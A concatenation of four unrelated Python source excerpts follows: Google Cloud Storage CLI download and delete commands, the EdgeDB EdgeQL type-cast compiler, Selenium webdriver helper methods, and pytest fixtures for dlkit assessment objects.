client.upload_dir(
args.local_dir, args.cloud_dir, recursive=args.recursive
)
class GCSDownloadCommand(Command):
"""Download file from GCS.
Examples:
# Download file
eta gcs download <cloud-path> <local-path>
# Print download to stdout
eta gcs download <cloud-path> --print
"""
@staticmethod
def setup(parser):
parser.add_argument(
"cloud_path",
metavar="CLOUD_PATH",
help="the GCS object to " "download",
)
parser.add_argument(
"local_path",
nargs="?",
metavar="LOCAL_PATH",
help="the path to "
"which to write the downloaded file. If not provided, the "
"filename of the file in GCS is used",
)
parser.add_argument(
"--print",
action="store_true",
help="whether to print the "
"download to stdout. If true, a file is NOT written to disk",
)
parser.add_argument(
"-s",
"--chunk-size",
metavar="SIZE",
type=int,
help="an optional " "chunk size (in bytes) to use",
)
@staticmethod
def execute(parser, args):
client = etast.GoogleCloudStorageClient(chunk_size=args.chunk_size)
if args.print:
print(client.download_bytes(args.cloud_path))
else:
local_path = args.local_path
if local_path is None:
local_path = client.get_file_metadata(args.cloud_path)["name"]
print("Downloading '%s' to '%s'" % (args.cloud_path, local_path))
client.download(args.cloud_path, local_path)
class GCSDownloadDirectoryCommand(Command):
"""Download directory from GCS.
Examples:
# Download directory
eta gcs download-dir <cloud-folder> <local-dir>
# Download directory sync
eta gcs download-dir --sync <cloud-folder> <local-dir>
"""
@staticmethod
def setup(parser):
parser.add_argument(
"cloud_dir",
metavar="CLOUD_DIR",
help="the GCS directory to " "download",
)
parser.add_argument(
"local_dir",
metavar="LOCAL_DIR",
help="the directory to which to " "download files into",
)
parser.add_argument(
"--sync",
action="store_true",
help="whether to sync the local"
"directory to match the contents of the GCS directory",
)
parser.add_argument(
"-o",
"--overwrite",
action="store_true",
help="whether to "
"overwrite existing files; only valid in `--sync` mode",
)
parser.add_argument(
"-r",
"--recursive",
action="store_true",
help="whether to "
"recursively download the contents of subdirecotires",
)
parser.add_argument(
"-s",
"--chunk-size",
metavar="SIZE",
type=int,
help="an optional " "chunk size (in bytes) to use",
)
@staticmethod
def execute(parser, args):
client = etast.GoogleCloudStorageClient(chunk_size=args.chunk_size)
if args.sync:
client.download_dir_sync(
args.cloud_dir,
args.local_dir,
overwrite=args.overwrite,
recursive=args.recursive,
)
else:
client.download_dir(
args.cloud_dir, args.local_dir, recursive=args.recursive
)
class GCSDeleteCommand(Command):
"""Delete file from GCS.
Examples:
# Delete file
eta gcs delete <cloud-path>
"""
@staticmethod
def setup(parser):
parser.add_argument(
"cloud_path", metavar="CLOUD_PATH", help="the GCS file to delete"
)
@staticmethod
def execute(parser, args):
client = etast.GoogleCloudStorageClient()
print("Deleting '%s'" % args.cloud_path)
client.delete(args.cloud_path)
class GCSDeleteDirCommand(Command):
"""Delete directory from GCS.
Examples:
# Delete directory
eta gcs delete-dir <cloud-dir>
"""
@staticmethod
def setup(parser):
parser.add_argument(
"cloud_dir",
metavar="CLOUD_DIR",
help="the GCS directory to " "delete",
)
@staticmethod
def execute(parser, args):
client = etast.GoogleCloudStorageClient()
print("Deleting '%s'" % args.cloud_dir)
client.delete_folder(args.cloud_dir)
class GoogleDriveStorageCommand(Command):
"""Tools for working with Google Drive."""
@staticmethod
def setup(parser):
subparsers = parser.add_subparsers(title="available commands")
_register_command(subparsers, "info", GoogleDriveInfoCommand)
_register_command(subparsers, "list", GoogleDriveListCommand)
_register_command(subparsers, "upload", GoogleDriveUploadCommand)
_register_command(
subparsers, | |
<reponame>pnijhara/edgedb
#
# This source file is part of the EdgeDB open source project.
#
# Copyright 2008-present MagicStack Inc. and the EdgeDB authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
"""EdgeQL compiler routines for type casts."""
from __future__ import annotations
from typing import *
from edb import errors
from edb.common import parsing
from edb.ir import ast as irast
from edb.ir import utils as irutils
from edb.schema import casts as s_casts
from edb.schema import functions as s_func
from edb.schema import modules as s_mod
from edb.schema import objects as s_objects
from edb.schema import types as s_types
from edb.edgeql import ast as qlast
from edb.edgeql import qltypes as ft
from . import context
from . import dispatch
from . import pathctx
from . import polyres
from . import setgen
from . import typegen
from . import viewgen
if TYPE_CHECKING:
from edb.schema import schema as s_schema
def compile_cast(
ir_expr: Union[irast.Set, irast.Expr],
new_stype: s_types.Type, *,
srcctx: Optional[parsing.ParserContext],
ctx: context.ContextLevel) -> irast.Set:
if isinstance(ir_expr, irast.EmptySet):
# For the common case of casting an empty set, we simply
# generate a new EmptySet node of the requested type.
return setgen.new_empty_set(
stype=new_stype,
alias=ir_expr.path_id.target_name_hint.name,
ctx=ctx,
srcctx=ir_expr.context)
elif irutils.is_untyped_empty_array_expr(ir_expr):
# Ditto for empty arrays.
new_typeref = typegen.type_to_typeref(new_stype, ctx.env)
return setgen.ensure_set(
irast.Array(elements=[], typeref=new_typeref), ctx=ctx)
ir_set = setgen.ensure_set(ir_expr, ctx=ctx)
orig_stype = setgen.get_set_type(ir_set, ctx=ctx)
if orig_stype == new_stype:
return ir_set
elif orig_stype.is_object_type() and new_stype.is_object_type():
# Object types cannot be cast between themselves,
# as cast is a _constructor_ operation, and the only
# valid way to construct an object is to INSERT it.
raise errors.QueryError(
f'cannot cast object type '
f'{orig_stype.get_displayname(ctx.env.schema)!r} '
f'to {new_stype.get_displayname(ctx.env.schema)!r}, use '
f'`...[IS {new_stype.get_displayname(ctx.env.schema)}]` instead',
context=srcctx)
if isinstance(ir_set.expr, irast.Array):
return _cast_array_literal(
ir_set, orig_stype, new_stype, srcctx=srcctx, ctx=ctx)
elif orig_stype.is_tuple(ctx.env.schema):
return _cast_tuple(
ir_set, orig_stype, new_stype, srcctx=srcctx, ctx=ctx)
elif orig_stype.issubclass(ctx.env.schema, new_stype):
# The new type is a supertype of the old type,
# and is always a wider domain, so we simply reassign
# the stype.
return _inheritance_cast_to_ir(
ir_set, orig_stype, new_stype, ctx=ctx)
elif new_stype.issubclass(ctx.env.schema, orig_stype):
# The new type is a subtype, so may potentially have
# a more restrictive domain, generate a cast call.
return _inheritance_cast_to_ir(
ir_set, orig_stype, new_stype, ctx=ctx)
elif orig_stype.is_array():
return _cast_array(
ir_set, orig_stype, new_stype, srcctx=srcctx, ctx=ctx)
else:
json_t = cast(
s_objects.InheritingObject,
ctx.env.get_track_schema_object('std::json'),
)
if (new_stype.issubclass(ctx.env.schema, json_t) and
ir_set.path_id.is_objtype_path()):
# JSON casts of objects are special: we want the full shape
# and not just an identity.
with ctx.new() as subctx:
subctx.implicit_id_in_shapes = False
subctx.implicit_tid_in_shapes = False
viewgen.compile_view_shapes(ir_set, ctx=subctx)
return _compile_cast(
ir_expr, orig_stype, new_stype, srcctx=srcctx, ctx=ctx)
def _compile_cast(
ir_expr: Union[irast.Set, irast.Expr],
orig_stype: s_types.Type,
new_stype: s_types.Type, *,
srcctx: Optional[parsing.ParserContext],
ctx: context.ContextLevel) -> irast.Set:
ir_set = setgen.ensure_set(ir_expr, ctx=ctx)
cast = _find_cast(orig_stype, new_stype, srcctx=srcctx, ctx=ctx)
if cast is None:
raise errors.QueryError(
f'cannot cast '
f'{orig_stype.get_displayname(ctx.env.schema)!r} to '
f'{new_stype.get_displayname(ctx.env.schema)!r}',
context=srcctx or ir_set.context)
return _cast_to_ir(ir_set, cast, orig_stype, new_stype, ctx=ctx)
def _cast_to_ir(
ir_set: irast.Set,
cast: s_casts.Cast,
orig_stype: s_types.Type,
new_stype: s_types.Type, *,
ctx: context.ContextLevel) -> irast.Set:
orig_typeref = typegen.type_to_typeref(orig_stype, env=ctx.env)
new_typeref = typegen.type_to_typeref(new_stype, env=ctx.env)
cast_name = cast.get_name(ctx.env.schema)
cast_ir = irast.TypeCast(
expr=ir_set,
from_type=orig_typeref,
to_type=new_typeref,
cast_name=cast_name,
cast_module_id=ctx.env.schema.get_global(
s_mod.Module, cast_name.module).id,
sql_function=cast.get_from_function(ctx.env.schema),
sql_cast=cast.get_from_cast(ctx.env.schema),
sql_expr=bool(cast.get_code(ctx.env.schema)),
)
return setgen.ensure_set(cast_ir, ctx=ctx)
def _inheritance_cast_to_ir(
ir_set: irast.Set,
orig_stype: s_types.Type,
new_stype: s_types.Type, *,
ctx: context.ContextLevel) -> irast.Set:
orig_typeref = typegen.type_to_typeref(orig_stype, env=ctx.env)
new_typeref = typegen.type_to_typeref(new_stype, env=ctx.env)
cast_ir = irast.TypeCast(
expr=ir_set,
from_type=orig_typeref,
to_type=new_typeref,
cast_name=None,
sql_function=None,
sql_cast=True,
sql_expr=False,
)
return setgen.ensure_set(cast_ir, ctx=ctx)
class CastParamListWrapper(s_func.ParameterLikeList):
def __init__(self, params: Iterable[s_func.ParameterDesc]) -> None:
self._params = tuple(params)
def get_by_name(
self,
schema: s_schema.Schema,
name: str,
) -> s_func.ParameterDesc:
raise NotImplementedError
def as_str(self, schema: s_schema.Schema) -> str:
raise NotImplementedError
def find_named_only(
self,
schema: s_schema.Schema,
) -> Mapping[str, s_func.ParameterDesc]:
return {}
def find_variadic(
self,
schema: s_schema.Schema,
) -> Optional[s_func.ParameterDesc]:
return None
def has_polymorphic(
self,
schema: s_schema.Schema,
) -> bool:
return False
def objects(
self,
schema: s_schema.Schema,
) -> Tuple[s_func.ParameterDesc, ...]:
return self._params
def has_required_params(self, schema: s_schema.Schema) -> bool:
return True
def get_in_canonical_order(
self,
schema: s_schema.Schema,
) -> Tuple[s_func.ParameterDesc, ...]:
return self._params
class CastCallableWrapper(s_func.CallableLike):
# A wrapper around a cast object to make it quack like a callable
# for the purposes of polymorphic resolution.
def __init__(self, cast: s_casts.Cast) -> None:
self._cast = cast
def has_inlined_defaults(self, schema: s_schema.Schema) -> bool:
return False
def get_params(
self,
schema: s_schema.Schema,
) -> s_func.ParameterLikeList:
from_type_param = s_func.ParameterDesc(
num=0,
name='val',
type=self._cast.get_from_type(schema).as_shell(schema),
typemod=ft.TypeModifier.SINGLETON,
kind=ft.ParameterKind.POSITIONAL,
default=None,
)
to_type_param = s_func.ParameterDesc(
num=0,
name='_',
type=self._cast.get_to_type(schema).as_shell(schema),
typemod=ft.TypeModifier.SINGLETON,
kind=ft.ParameterKind.POSITIONAL,
default=None,
)
return CastParamListWrapper((from_type_param, to_type_param))
def get_return_type(self, schema: s_schema.Schema) -> s_types.Type:
return self._cast.get_to_type(schema)
def get_return_typemod(self, schema: s_schema.Schema) -> ft.TypeModifier:
return ft.TypeModifier.SINGLETON
def get_verbosename(self, schema: s_schema.Schema) -> str:
return self._cast.get_verbosename(schema)
def get_is_abstract(self, schema: s_schema.Schema) -> bool:
return False
def _find_cast(
orig_stype: s_types.Type,
new_stype: s_types.Type, *,
srcctx: Optional[parsing.ParserContext],
ctx: context.ContextLevel) -> Optional[s_casts.Cast]:
casts = ctx.env.schema.get_casts_to_type(new_stype)
if not casts and isinstance(new_stype, s_types.InheritingType):
ancestors = new_stype.get_ancestors(ctx.env.schema)
for t in ancestors.objects(ctx.env.schema):
casts = ctx.env.schema.get_casts_to_type(t)
if casts:
break
else:
return None
args = [
(orig_stype, irast.EmptySet()),
(new_stype, irast.EmptySet()),
]
matched = polyres.find_callable(
(CastCallableWrapper(c) for c in casts), args=args, kwargs={}, ctx=ctx)
if len(matched) == 1:
return cast(CastCallableWrapper, matched[0].func)._cast
elif len(matched) > 1:
raise errors.QueryError(
f'cannot unambiguously cast '
f'{orig_stype.get_displayname(ctx.env.schema)!r} '
f'to {new_stype.get_displayname(ctx.env.schema)!r}',
context=srcctx)
else:
return None
def _cast_tuple(
ir_set: irast.Set,
orig_stype: s_types.Type,
new_stype: s_types.Type, *,
srcctx: Optional[parsing.ParserContext],
ctx: context.ContextLevel) -> irast.Set:
assert isinstance(orig_stype, s_types.Tuple)
# Make sure the source tuple expression is pinned in the scope,
# so that we don't generate a cross-product of it by evaluating
# the tuple indirections.
pathctx.register_set_in_scope(ir_set, ctx=ctx)
direct_cast = _find_cast(orig_stype, new_stype, srcctx=srcctx, ctx=ctx)
orig_subtypes = dict(orig_stype.iter_subtypes(ctx.env.schema))
if direct_cast is not None:
# Direct casting to non-tuple involves casting each tuple
# element and also keeping the cast around the whole tuple.
# This is to trigger the downstream logic of casting
# objects (in elements of the tuple).
elements = []
for n in orig_subtypes:
val = setgen.tuple_indirection_set(
ir_set,
source=orig_stype,
ptr_name=n,
ctx=ctx,
)
val_type = setgen.get_set_type(val, ctx=ctx)
# Element cast
val = compile_cast(val, new_stype, ctx=ctx, srcctx=srcctx)
elements.append(irast.TupleElement(name=n, val=val))
new_tuple = setgen.new_tuple_set(
elements,
named=orig_stype.is_named(ctx.env.schema),
ctx=ctx,
)
return _cast_to_ir(
new_tuple, direct_cast, orig_stype, new_stype, ctx=ctx)
if not new_stype.is_tuple(ctx.env.schema):
raise errors.QueryError(
f'cannot cast {orig_stype.get_displayname(ctx.env.schema)!r} '
f'to {new_stype.get_displayname(ctx.env.schema)!r}',
context=srcctx)
assert isinstance(new_stype, s_types.Tuple)
new_subtypes = list(new_stype.iter_subtypes(ctx.env.schema))
if len(orig_subtypes) != len(new_subtypes):
raise errors.QueryError(
f'cannot cast {orig_stype.get_displayname(ctx.env.schema)!r} '
f'to {new_stype.get_displayname(ctx.env.schema)!r}: '
f'the number of elements is not the same',
context=srcctx)
# For tuple-to-tuple casts we generate a new tuple
# to simplify things on sqlgen side.
elements = []
for i, n in enumerate(orig_subtypes):
val = setgen.tuple_indirection_set(
ir_set,
source=orig_stype,
ptr_name=n,
ctx=ctx,
)
val_type = setgen.get_set_type(val, ctx=ctx)
new_el_name, new_st = new_subtypes[i]
if val_type != new_st:
# Element cast
val = compile_cast(val, new_st, ctx=ctx, srcctx=srcctx)
elements.append(irast.TupleElement(name=new_el_name, val=val))
return setgen.new_tuple_set(
elements,
named=new_stype.is_named(ctx.env.schema),
ctx=ctx,
)
def _cast_array(
ir_set: irast.Set,
orig_stype: s_types.Type,
new_stype: s_types.Type, *,
srcctx: Optional[parsing.ParserContext],
ctx: context.ContextLevel) -> irast.Set:
assert isinstance(orig_stype, s_types.Array)
direct_cast = _find_cast(orig_stype, new_stype, srcctx=srcctx, ctx=ctx)
if direct_cast is None:
if not new_stype.is_array():
raise errors.QueryError(
f'cannot cast {orig_stype.get_displayname(ctx.env.schema)!r} '
f'to {new_stype.get_displayname(ctx.env.schema)!r}',
context=srcctx)
assert isinstance(new_stype, s_types.Array)
el_type = new_stype.get_subtypes(ctx.env.schema)[0]
else:
el_type = new_stype
orig_el_type = orig_stype.get_subtypes(ctx.env.schema)[0]
el_cast = _find_cast(orig_el_type, el_type, srcctx=srcctx, ctx=ctx)
if el_cast is not None and el_cast.get_from_cast(ctx.env.schema):
# Simple cast
return _cast_to_ir(
ir_set, el_cast, orig_stype, new_stype, ctx=ctx)
else:
pathctx.register_set_in_scope(ir_set, ctx=ctx)
with ctx.new() as subctx:
subctx.anchors = subctx.anchors.copy()
source_alias = subctx.aliases.get('a')
subctx.anchors[source_alias] = ir_set
unpacked = qlast.FunctionCall(
func=('__std__', 'array_unpack'),
args=[
qlast.Path(
steps=[qlast.ObjectRef(name=source_alias)],
),
],
)
enumerated = setgen.ensure_set(
dispatch.compile(
qlast.FunctionCall(
func=('__std__', 'enumerate'),
args=[unpacked],
),
ctx=subctx,
),
ctx=subctx,
)
enumerated_alias = subctx.aliases.get('e')
subctx.anchors[enumerated_alias] = enumerated
enumerated_ref = qlast.Path(
steps=[qlast.ObjectRef(name=enumerated_alias)],
)
elements = qlast.FunctionCall(
func=('__std__', 'array_agg'),
args=[
qlast.SelectQuery(
result=qlast.TypeCast(
expr=qlast.Path(
steps=[
enumerated_ref,
qlast.Ptr(
ptr=qlast.ObjectRef(
name='1',
direction='>',
),
),
],
),
type=typegen.type_to_ql_typeref(
el_type,
ctx=subctx,
),
),
orderby=[
qlast.SortExpr(
path=qlast.Path(
steps=[
enumerated_ref,
qlast.Ptr(
ptr=qlast.ObjectRef(
name='0',
direction='>',
),
),
],
),
direction=qlast.SortOrder.Asc,
),
],
),
],
)
array_ir = dispatch.compile(elements, ctx=subctx)
assert isinstance(array_ir, irast.Set)
if direct_cast is not None:
ctx.env.schema, array_stype = s_types.Array.from_subtypes(
ctx.env.schema, [el_type])
return | |
and its value to localStorage.
Args:
name (str): Item name in localStorage
value (str): Item's value. Non-string value is auto serialized with `json.dumps`.
"""
self.local_storage.set(name, value)
def set_session_storage_item(self, name, value):
"""Set Item and its value to sessionStorage.
Args:
name (str): Item name in sessionStorage
value (str): Item's value. Non-string value is auto-serialized with `json.dumps`.
"""
self.session_storage.set(name, value)
def set_window_position(self, x, y, window_handle='current'):
"""Set the x and y position of the current window
Args:
x (int): x-coordinate in pixels
y (int): y-coordinate in pixels
Keyword Arguments:
window_handle (str): Window handle. Defaults to 'current'.
Returns:
dict: Window rect as dict: {'x': 0, 'y': 0, 'width': 100, 'height': 100}
"""
return self.driver.set_window_position(x, y, window_handle)
def set_window_rect(self, x=None, y=None, width=None, height=None):
"""Set the x, y, width, and height of the current window.
Keyword Arguments:
x (int): x-coordinate in pixels. Defaults to None.
y (int): y-coordinate in pixels. Defaults to None.
width (int): Window width in pixels. Defaults to None.
height (int): Window height in pixels. Defaults to None.
Returns:
dict: Window rect as dict: {'x': 0, 'y': 0, 'width': 100, 'height': 100}
"""
return self.driver.set_window_rect(x, y, width, height)
def set_window_size(self, width, height, window_handle='current'):
"""Set the width and height of the current window.
Args:
width (int, optional): Window width in pixels. Defaults to None.
height (int, optional): Window height in pixels. Defaults to None.
Keyword Arguments:
window_handle (str): Window handle. Defaults to 'current'.
Returns:
dict: Window rect as dict: {'x': 0, 'y': 0, 'width': 100, 'height': 100}
"""
return self.driver.set_window_size(width, height, window_handle)
def shift_click_from_and_to(self, from_locator, to_locator):
"""Shift click from `from_locator` to `to_locator`.
Args:
from_locator (str/WebElement): The locator to identify the element or WebElement
to_locator (str/WebElement): The locator to identify the element or WebElement
"""
from_element = self.find_element(from_locator)
to_element = self.find_element(to_locator)
shift = self.keys.SHIFT
self.actions().key_down(shift).click(from_element).click(to_element).key_up(shift).perform()
def show(self, locator):
"""Show the element.
Args:
locator (str/WebElement): The locator to identify the element or WebElement
"""
self.find_element(locator).show()
def size(self, locator):
"""The size of the element.
Args:
locator (str/WebElement): The locator to identify the element or WebElement
Returns:
dict: The size of the element as dict: {'width': 100, 'height': 100}
"""
return self.find_element(locator).size
def sleep(self, seconds):
"""Sleep the given seconds.
Args:
seconds (int): Seconds to sleep
"""
try:
self.wait(self.driver, seconds).until(lambda _: False)
except:
pass
def strptime(self, date_string, format=r'%m/%d/%Y %H:%M:%S', timezone=None):
"""Parse date string to a `datetime` object.
Args:
date_string (str): Date string.
Keyword Arguments:
format (str, optional): Date format. Defaults to r'%m/%d/%Y %H:%M:%S'.
timezone (str): Timezone name, such as 'Asia/Taipei'. Name is handled by `dateutil.tz.gettz()`. Defaults to None.
Returns:
datetime: `datetime`
"""
now = datetime.strptime(date_string, format)
return now if timezone is None else now.replace(tzinfo=tz.gettz(timezone))
def submit(self, locator):
"""Submit a form.
Args:
locator (str/WebElement): The locator to identify the element or WebElement
"""
self.find_element(locator).submit()
def switch_to_active_element(self):
"""Switch to active element.
Returns:
WebElement: Active Element
"""
return self.driver.switch_to.active_element
def switch_to_alert(self):
"""Switch to alert.
Returns:
Alert: Alert
"""
return self.driver.switch_to.alert
def switch_to_default_content(self):
"""Switch to default content."""
self.driver.switch_to.default_content()
def switch_to_frame(self, frame_locator):
"""Switch to frame.
Args:
frame_locator (str/WebElement): The locator to identify the frame or WebElement
"""
self.driver.switch_to.frame(self.find_element(frame_locator))
def switch_to_frame_and_wait_until_element_located_in_frame(self, frame_locator, element_locator):
"""Switch to the given frame and wait until the element is located within the frame.
Args:
frame_locator (str/WebElement): The locator to identify the frame or WebElement
element_locator (str): The locator to identify the element
Returns:
False/WebElement: Return False if not located. Return WebElement if located.
"""
self.wait_until_frame_available_and_switch(frame_locator)
return self.wait_until(lambda _: self.is_located(element_locator))
def switch_to_last_window_handle(self):
"""Switch to the last opened tab or window."""
self.switch_to_window(self.window_handles[-1])
def switch_to_parent_frame(self):
"""Switch to parent frame."""
self.driver.switch_to.parent_frame()
def switch_to_window(self, window_name):
"""Switch to window.
Args:
window_name (str): Window name
"""
self.driver.switch_to.window(window_name)
def t(self, key, **kwargs):
"""Get value from YML instance by using "dot notation" key.
Args:
key (str): Dot notation key
Keyword Arguments:
**kwargs: Format key value (str) with `str.format(**kwargs)`.
Returns:
value of dot notation key
Examples:
| # YAML
| today:
| dashboard:
| search: '#search'
| name: 'Name is {name}'
|
| t('today.dashboard.search') # '#search'
| t('today.dashboard.name', name='Spydr') # 'Name is Spydr'
"""
return self.yml.t(key, **kwargs)
def tag_name(self, locator):
"""Get the element's tagName.
Args:
locator (str/WebElement): The locator to identify the element or WebElement
Returns:
str: tagName
"""
return self.find_element(locator).tag_name
def text(self, locator, typecast=str):
"""The the element's text. (Only works when the element is in the viewport)
Args:
locator (str/WebElement): The locator to identify the element or WebElement
Keyword Arguments:
typecast: Typecast the text. Defaults to `str`.
Returns:
The text, by `typecast`, of the element
"""
return typecast(self.find_element(locator).text)
def text_content(self, locator, strip=True):
"""Get the element's text. (Works whether the element is in the viewport or not)
Args:
locator (str/WebElement): The locator to identify the element or WebElement
Keyword Arguments:
strip (bool): Whether to strip textContent. Defaults to True.
Returns:
str: The text of the element
"""
return self.find_element(locator).text_content.strip(None if strip else '')
def texts(self, locator, typecast=str):
"""Texts of all elements located by the locator.
Args:
locator (str/list[WebElement]): The locator to identify the elements or list[WebElement]
Keyword Arguments:
typecast: Typecast the texts. Defaults to `str`.
Returns:
list: list of texts, by `typecast`, of the given elements
"""
return [typecast(element.text) for element in self.find_elements(locator)]
def text_to_file(self, text, filename, suffix):
"""Write text to the given filename
Args:
text (str): Text to write
filename (str): filename of the text file
suffix (str): suffix of the text file
Returns:
str: Absolute path of the file
"""
file_ = self.abspath(filename, suffix=suffix)
with open(file_, 'w') as text_file:
text_file.write(text)
return file_
def timedelta(self, days, format=r'%m/%d/%Y', timezone=None):
"""Get the date by the given delta from today.
Args:
days (int): Delta days from today
format (str, optional): Date format. Defaults to '%m/%d/%Y'.
Keyword Arguments:
timezone (str): Timezone name, such as 'Asia/Taipei'. Name is handled by `dateutil.tz.gettz()`. Defaults to None.
Returns:
str: Delta date from today
Examples:
| today() # 2020/12/10
| timedelta(1) # 2020/12/11
| timedelta(-1) # 2020/12/09
"""
delta = datetime.now(tz.gettz(timezone)) + timedelta(days=days)
return delta.strftime(format)
@property
def timeout(self):
"""Spydr webdriver timeout for implicitly_wait, page_load_timeout, and script_timeout
Returns:
int: Spydr webdriver timeout
"""
return self.__timeout
@timeout.setter
def timeout(self, seconds):
self.__timeout = seconds
self.implicitly_wait = seconds
self.page_load_timeout = seconds
self.script_timeout = seconds
@staticmethod
def timestamp(prefix='', suffix=''):
"""Get current local timestamp with optional prefix and/or suffix.
Keyword Arguments:
prefix (str): Prefix for timestamp. Defaults to ''.
suffix (str): Suffix for timestamp. Defaults to ''.
Returns:
str: Timestamp with optional prefix and suffix
"""
timestamp = strftime(r'%Y%m%d%H%M%S', localtime())
return f'{prefix}{timestamp}{suffix}'
@property
def title(self):
"""Get the title of the current page.
Returns:
str: Title of the current page
"""
return self.driver.title
def today(self, format=r'%m/%d/%Y', timezone=None):
"""Get Today's date.
Args:
format (str, optional): Date format. Defaults to '%m/%d/%Y'.
Keyword Arguments:
timezone (str): Timezone name, such as 'Asia/Taipei'. Name is handled by `dateutil.tz.gettz()`. Defaults to None.
Returns:
str/datetime: Today's date in the given format. When `format` is None, it returns as `datetime`.
"""
now = datetime.now(tz.gettz(timezone))
return now.strftime(format) if format else now
def toggle_attribute(self, locator, name):
"""Toggle a Boolean attribute of the given element. (IE not supported)
Args:
locator (str/WebElement): The locator to identify the element or WebElement
name ([type]): Attribute name
"""
self.find_element(locator).toggle_attribute(name)
def toggle_class(self, locator, class_name):
"""Toggle the given CSS class of the element.
Args:
locator (str/WebElement): The locator to identify the element or WebElement
class_name (str): CSS class name
"""
self.find_element(locator).toggle_class(class_name)
def trigger(self, locator, event):
"""Trigger the given event on the element.
Args:
locator (str/WebElement): The locator to identify the element or WebElement
event (str): Event name
"""
self.find_element(locator).trigger(event)
def value(self, locator, typecast=str):
"""Get the value of the element using `get_property`.
Args:
locator (str/WebElement): The locator to identify the element or WebElement
Keyword Arguments:
typecast: Typecast the value. Defaults to `str`.
Returns:
The value, by `typecast`, of the element
"""
return typecast(self.find_element(locator).value)
def value_now(self, locator, typecast=str):
"""Get the current value of the element using `get_attribute`.
Args:
locator (str/WebElement): The locator to identify the element or WebElement
Keyword Arguments:
typecast: Typecast the value. Defaults to `str`.
Returns:
The value, by `typecast`, of the | |
create_form.description = 'Test Item for ItemList tests'
obj = request.cls.catalog.create_item(create_form)
request.cls.item_list.append(obj)
request.cls.item_ids.append(obj.ident)
request.cls.item_list = ItemList(request.cls.item_list)
request.cls.object = request.cls.item_list
@pytest.mark.usefixtures("item_list_class_fixture", "item_list_test_fixture")
class TestItemList(object):
"""Tests for ItemList"""
def test_get_next_item(self):
"""Tests get_next_item"""
# From test_templates/resource.py::ResourceList::get_next_resource_template
from dlkit.abstract_osid.assessment.objects import Item
if not is_never_authz(self.service_config):
assert isinstance(self.item_list.get_next_item(), Item)
def test_get_next_items(self):
"""Tests get_next_items"""
# From test_templates/resource.py::ResourceList::get_next_resources_template
from dlkit.abstract_osid.assessment.objects import ItemList, Item
if not is_never_authz(self.service_config):
new_list = self.item_list.get_next_items(2)
assert isinstance(new_list, ItemList)
for item in new_list:
assert isinstance(item, Item)
@pytest.fixture(scope="class",
params=['TEST_SERVICE', 'TEST_SERVICE_ALWAYS_AUTHZ', 'TEST_SERVICE_NEVER_AUTHZ', 'TEST_SERVICE_CATALOGING', 'TEST_SERVICE_FILESYSTEM', 'TEST_SERVICE_MEMCACHE'])
def assessment_class_fixture(request):
# From test_templates/resource.py::Resource::init_template
request.cls.service_config = request.param
request.cls.svc_mgr = Runtime().get_service_manager(
'ASSESSMENT',
proxy=PROXY,
implementation=request.cls.service_config)
if not is_never_authz(request.cls.service_config):
create_form = request.cls.svc_mgr.get_bank_form_for_create([])
create_form.display_name = 'Test catalog'
create_form.description = 'Test catalog description'
request.cls.catalog = request.cls.svc_mgr.create_bank(create_form)
form = request.cls.catalog.get_assessment_form_for_create([])
form.display_name = 'Test object'
request.cls.object = request.cls.catalog.create_assessment(form)
def class_tear_down():
if not is_never_authz(request.cls.service_config):
for obj in request.cls.catalog.get_assessments():
request.cls.catalog.delete_assessment(obj.ident)
request.cls.svc_mgr.delete_bank(request.cls.catalog.ident)
request.addfinalizer(class_tear_down)
@pytest.fixture(scope="function")
def assessment_test_fixture(request):
pass
@pytest.mark.usefixtures("assessment_class_fixture", "assessment_test_fixture")
class TestAssessment(object):
"""Tests for Assessment"""
def test_get_level_id(self):
"""Tests get_level_id"""
# From test_templates/resources.py::Resource::get_avatar_id_template
if not is_never_authz(self.service_config):
pytest.raises(errors.IllegalState,
self.object.get_level_id)
def test_get_level(self):
"""Tests get_level"""
# From test_templates/resources.py::Resource::get_avatar_template
if not is_never_authz(self.service_config):
pytest.raises(errors.IllegalState,
self.object.get_level)
def test_has_rubric(self):
"""Tests has_rubric"""
# From test_templates/resources.py::Resource::has_avatar_template
if not is_never_authz(self.service_config):
assert isinstance(self.object.has_rubric(), bool)
def test_get_rubric_id(self):
"""Tests get_rubric_id"""
# From test_templates/resources.py::Resource::get_avatar_id_template
if not is_never_authz(self.service_config):
pytest.raises(errors.IllegalState,
self.object.get_rubric_id)
def test_get_rubric(self):
"""Tests get_rubric"""
# From test_templates/resources.py::Resource::get_avatar_template
if not is_never_authz(self.service_config):
pytest.raises(errors.IllegalState,
self.object.get_rubric)
def test_get_assessment_record(self):
"""Tests get_assessment_record"""
if is_never_authz(self.service_config):
pass # no object to call the method on?
else:
with pytest.raises(errors.Unsupported):
self.object.get_assessment_record(True)
@pytest.fixture(scope="class",
params=['TEST_SERVICE', 'TEST_SERVICE_ALWAYS_AUTHZ', 'TEST_SERVICE_NEVER_AUTHZ', 'TEST_SERVICE_CATALOGING', 'TEST_SERVICE_FILESYSTEM', 'TEST_SERVICE_MEMCACHE'])
def assessment_form_class_fixture(request):
# From test_templates/resource.py::ResourceForm::init_template
request.cls.service_config = request.param
request.cls.svc_mgr = Runtime().get_service_manager(
'ASSESSMENT',
proxy=PROXY,
implementation=request.cls.service_config)
if not is_never_authz(request.cls.service_config):
create_form = request.cls.svc_mgr.get_bank_form_for_create([])
create_form.display_name = 'Test catalog'
create_form.description = 'Test catalog description'
request.cls.catalog = request.cls.svc_mgr.create_bank(create_form)
def class_tear_down():
if not is_never_authz(request.cls.service_config):
request.cls.svc_mgr.delete_bank(request.cls.catalog.ident)
request.addfinalizer(class_tear_down)
@pytest.fixture(scope="function")
def assessment_form_test_fixture(request):
# From test_templates/resource.py::ResourceForm::init_template
if not is_never_authz(request.cls.service_config):
request.cls.form = request.cls.catalog.get_assessment_form_for_create([])
def test_tear_down():
if not is_never_authz(request.cls.service_config):
request.cls.form = None
request.addfinalizer(test_tear_down)
@pytest.mark.usefixtures("assessment_form_class_fixture", "assessment_form_test_fixture")
class TestAssessmentForm(object):
"""Tests for AssessmentForm"""
def test_get_level_metadata(self):
"""Tests get_level_metadata"""
# From test_templates/resource.py::ResourceForm::get_avatar_metadata_template
if not is_never_authz(self.service_config):
mdata = self.form.get_level_metadata()
